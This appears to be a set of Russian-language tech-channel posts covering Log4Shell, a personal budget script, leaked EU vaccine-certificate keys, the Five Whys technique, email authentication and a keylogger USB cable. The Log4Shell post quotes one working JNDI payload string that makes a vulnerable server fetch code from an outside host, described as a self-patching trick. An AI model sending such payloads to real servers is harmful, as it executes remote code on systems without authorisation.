👾 твой cto

🌍 Друзья, будьте осторожны с научным методом!

На видео: документалка Netflix про плоскоземельщиков, где что-то идёт не по плану.

🧪 Вы наверняка уже слышали про нашумевшую уязвимость Log4Shell, которая позволяла выполнять произвольный код на серверах Steam, AWS, Cloudflare, iCloud и миллионах других. Отдельно стоит отметить, что уязвимость находится в широкоиспользуемой open-source библиотеке, у главного мейнтейнера которой на момент открытия уязвимости было всего 5 спонсоров.

А вот самое красивое:

${jndi:ldap://hotpatch.log4shell.com:1389/a}

Так как выполнить можно абсолютно любой код, то отправив эту строчку на уязвимый сервер вы... пропатчите Log4j и пофиксите эту уязвимость с помощью самой уязвимости 🤯

🦾 Бесконечно приятная часть бытия разработчиком

Последние 6 лет я записываю каждый потраченный рубль, злотый или евро в специальном приложении для ведения бюджета. Я начал это делать чтобы избавиться от кредитной карты, на которой к тому моменту скопился долг, который всё никак не хотел уменьшаться. От карты удалось избавиться, а привычка осталась.

Долгое время я чувствовал себя неуверенно, потому что вокруг меня никто подобным не занимался. Но потом моя психотерапевтка посоветовала мне книгу (к сожалению, она только на польском), взгляд автора которой оказался мне очень близок. С тех пор я научился не только откладывать достаточно денег, но и инвестировать их в ETF, а самое главное — мне пришло осознание, что именно этот путь правильный для меня. Это всё тема для отдельного большого разговора, если вам интересно почитать больше про личные финансы, нажмите на кнопочку внизу.

Сейчас возникло желание перевести бюджет в приложении из злотых в евро, а для этого надо обновить суммы во всех транзакциях. Когда я переезжал в Польшу никакого способа это сделать не было, поэтому мне пришлось создавать бюджет заново и потерять возможность строить красивые графики за все 6 лет. До сих пор такого способа всё так же не появилось, зато у приложения появилось API 😏

В общем, пара вечеров, и конвертирующий все транзакции скрипт готов! 314 строчек кода, несколько часов дебага, три неконсистентные транзакции (видимо привет от noSQL на бэкенде), и у меня красивый свежий бюджет в евро с историей за последние 4 года.

Ни с чем не сравнимое чувство удовольствия от решения «нерешаемой» проблемы, когда видишь, что все числа до и после сходятся до евроцента.

🎧 Что же, AirPods 3-его поколения точно так же вываливаются из моих ушей, как и AirPods Pro, в связи с чем вопрос: не знаете, где можно пластику ушной раковины сделать, чтобы наушники нормально держались?

P.S. Мне скинули ссылки на компании, которые делают кастомные амбушюры, изучаю! (хотя пластика-то надёжнее будет!) (если Apple не поменяет дизайн в будущем)

🇪🇺 Возможно утекли приватные ключи, которыми подписываются онлайн-сертификаты о прививках в ЕС.

В сети гуляют два сертификата, выданные на имя Адольфа Гитлера и подписанные валидными ключами Польского и Французского минздравов. Журналисты заявляют, что связались с человеком, выдающим себя за автора подделок и предлагающего услуги по подделке сертификатов за 300 евро.

В целом есть два возможных объяснения: либо взломана (или просто незаконно использована) инфраструктура выдачи ковид-паспортов в двух странах одновременно, либо кто-то получил доступ к приватным ключам, которыми подписываются настоящие сертификаты.

Обсуждение в issues на GitHub.

🤨 Пять почему (Five whys)

Иногда для поиска причин какой-то проблемы может пригодиться техника, называемая «Пять почему». Она очень простая и заключается в том, чтобы задать вопрос «Почему?» пять раз, каждый раз углубляясь всё дальше и дальше к первопричине.

Первый раз эта техника была описана архитектором производственной системы Тойоты Тайити Оно (также создателем kanban и lean manufacturing) в его книге: “the basis of Toyota’s scientific approach ... by repeating why five times, the nature of the problem as well as its solution becomes clear”.

Лучше всего учиться на примерах, поэтому вот он:

1. Сайт упал. Почему? Потому что CPU на сервере БД упёрся в 100%.
2. Почему нам не хватило мощности сервера? На сайт пришло в 10 раз больше посетителей, чем обычно, а у нас нет второго сервера для распределения нагрузки.
3. Почему мы не арендовали и не настроили второй сервер? Нам показалось, что это было бы лишней тратой денег.
4. Почему мы решили, что это лишняя трата денег? Потому что мы не знаем, сколько денег мы должны тратить на инфраструктуру.
5. Почему мы не знаем, сколько денег мы должны тратить на инфраструктуру? Потому что мы никогда не составляли бюджет отдела и не рассчитывали, сколько денег мы можем потратить на те или иные улучшения.

Бам! И у нас на руках есть вероятная причина проблем, из которой уже легко сформулировать тикет (или несколько) и избежать аналогичных проблем в будущем. Обратите внимание, что в этой ситуации корни технической проблемы лежат в процессах — и это правда для большинства проблем, с которыми мы сталкиваемся. Помните, мы не ищем виновных, мы ищем точки для улучшений.

Ну и будем честны, большинство ИТ компаний просто не обладает ресурсами для частого и детального аудита всех компонентов и систем на предмет возможных дефектов, реактивный метод работы над ошибками в конечном итоге позволяет строить всё более и более надёжные системы.

Короткая шпаргалка о том, как проводить «Пять Почему Встречи»:
1. Пригласите всех причастных.
2. Назначьте ведущего, который будет задавать вопросы и вести конспект.
3. Спросите «Почему?» пять раз.
4. Назначьте ответственных за решение корня проблемы.
5. Напишите имейл с результатами всей команде.

«Пять почему» не идеальная техника, и нужно хорошо понимать, какие опасности есть при её использовании: можно останавливаться на симптомах вместо углубления в первопричины, вы никогда не определите причину, если не догадываетесь о её существовании, и наоборот, если у вас уже есть мнение, вы можете подгонять ответы, разные люди могут прийти к разным заключениям, можно зарыться в какую-то одну причину, когда их может быть несколько — просто учитывайте это, чем больше таких встреч вы проведёте, тем точнее будут ваши находки.

Если идея вам нравится, то рекомендую ознакомиться с чуть более развёрнутым вариантом этого поста и/или этими двумя статьями с деталями от Эрика Риза.

📮 SPF, DKIM, DMARC

Если эти аббревиатуры для вас ничего не значат, то этот пост — знак о том, что пора разобраться. Дело в том, что на протяжении последних лет предпринято много усилий, чтобы сократить количество нежелательных или поддельных писем в вашем почтовом ящике, и эти три стандарта сейчас — необходимый минимум знаний о том, как сделать так, чтобы ваши имейлы доходили до почтовых ящиков адресатов.

Когда протокол SMTP создавался в 1981 году, основным способом аутентификации (то есть проверки, что у пользователя есть права отправлять почту от указанного адреса) была проверка по IP. Расширение AUTH, позволяющее добавлять авторизацию поверх соединения к SMTP-серверу официально появилось в виде черновика только в 1995 году, когда стала остро вставать проблема спама и распространения вирусов и троянов через email. В 1998 году Internet Mail Consorcium оценил количество открытых (не требующих аутентификации) почтовых серверов в 55%, а к 2002 году их уже было меньше 1%.

Впрочем, это всё равно не решило главной проблемы: имейлы всё ещё можно было отправлять от любого адреса, используя свой личный или любой из публичных open relay — серверов, которые позволяли рассылать почту кому угодно. Появились блоклисты с IP таких серверов, почта с которых автоматически отправлялась в спам. Это всё приводило к постоянным false positive срабатываниям, создавая постоянные проблемы с доставкой почты (впрочем, это до сих пор актуально, я постоянно вылавливаю в спаме нормальные письма, только виноваты в этом не блоклисты, а машин лёрнинг модели).

Для того, чтобы починить SMTP придумали три технологии: SPF, DKIM и DMARC.

SPF позволяет указать, какие серверы (прям по IP) имеют право рассылать почту от имени этого домена. Можно указать серверы Google, если вы пользуетесь Google Workspace, или, например, Mailchimp.

DKIM позволяет криптографически подписать заголовки письма, чтобы получатель мог быть точно уверен, что письмо было отправлено именно из вашего аккаунта в Mailchimp, а не чьего-то ещё.

DMARC позволяет настроить, насколько обязательные предыдущие две технологии в вашем конкретном случае, а также, что делать с нарушителями и куда на них жаловаться (на случай, если нарушитель — это вы, просто вы забыли добавить новый сервис email-рассылок в SPF 😅).

Вот тут пост с разными примерами, потому что очень важно понимать, чем ~all отличается от -all. Вот инструкция от Google, по которой я много раз постепенно выкатывал всё более и более жёсткие политики на старых доменах чтобы ничего не сломать.

Ну и настоящая жемчужина, о которой вы наверняка не знали — бесплатный сервис от Postmark для агрегации и получения отчётов по вашим SPF, DKIM и DMARC. Из разряда настроил и забыл — просто раз в неделю проверяешь, что настоящие легитимные письма не улетают в спам.

🥷 Первая мысль, когда видишь идеальный кейлоггер в продаже за 120 баксов: «такое не должно существовать в публичном доступе!». Вторая: «А вообще, отличная идея, потому что это позволит защитить намного больше людей и систем».

Представьте себе USB-кабель, который ничем не отличается от того, которым вы каждый день заряжаете свой телефон. И вот в вашей клавиатуре садится аккумулятор, и вы подключаете этот кабель к ней для зарядки. Что же, большая ошибка, ваш пароль улетает по Wi-Fi злоумышленнику, или даже просто записывается в память этого совсем не обычного кабеля для того, чтобы в пять часов утра, когда вы спите в тёплой кроватке, разблокировать ваш компьютер, открыть терминал и ввести несколько команд, передав контроль над компьютером хакеру. Lightning, USB-C или Micro-USB — выбирайте любой, на этом сайте можно купить такой кабель, который будет работать с постоянно расширяющимся списком клавиатур.

Помните, в Январе куча народу ворвалась в Капитолий США? Как думаете, сколько среди них было секретных агентов, которые заменили самые безобидные USB-кабели на что-то подобное? Безусловно, секретная служба проверила каждый проводочек, каждую флешку — эти ребята научены горьким опытом.

Помните, как появились Killer-флешки? Сначала они были доступны только для тех, кто знаком с паяльником и электротехникой, а потом в какой-то момент их стало можно купить в свободной продаже. USB-порты в публичных компьютерах быстро перестали быть доступны «наружу». Правда, тогда же были жутко распространены всевозможные вирусы, которые прописывали себя в autorun.inf, и это тоже повлияло на наш «USB-этикет».

Но благодаря тому, что подобные технологии уходят «в массы», они становятся более осязаемыми для бизнесов среднего и малого размера или даже для простых людей. Потому что теперь я знаю, о чём вы подумаете, когда в следующий раз подключите вашу клавиатуру на зарядку.

📼 демо